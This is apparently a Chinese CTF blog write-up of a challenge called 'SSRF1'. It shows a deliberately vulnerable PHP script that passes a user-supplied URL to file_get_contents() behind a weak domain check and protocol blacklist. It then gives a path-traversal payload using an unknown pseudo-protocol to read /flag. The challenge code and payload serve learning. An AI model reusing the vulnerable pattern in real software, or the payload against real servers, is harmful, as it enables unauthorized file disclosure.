SSRF1

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
echo'<center><strong>啊这,这怎么...这file_get_contents()有啥用呢</strong></center>';
highlight_file(__FILE__);
$url =$_GET ['url'];
if (preg_match('/dotnet\.com/', $url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i', $url)) {
echo (file_get_contents($url));
}
else {
echo('没看到过滤了吗...');
}
}
else{
echo ("这个怎么绕过呢?") ;
}
//flag is in '/flag'
?>
2.过程

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

……啥?

过滤了很多协议……查找后得知:

当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞

而flag在根目录,所以一直向上跳转即可,哦,还要包括dotent.com。

payload:?url=lgy://dotnet.com/../../../../../../../../flag

3.知识点:
  • / :表示当前路径的根路径
  • ./ :表示当前路径
  • ../ :表示父级路径,当前路径所在的上一级路径
  • file_get_contents()的$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)(?
作者

inanb

发布于

2020-12-06

更新于

2020-12-06

许可协议


:D 一言句子获取中...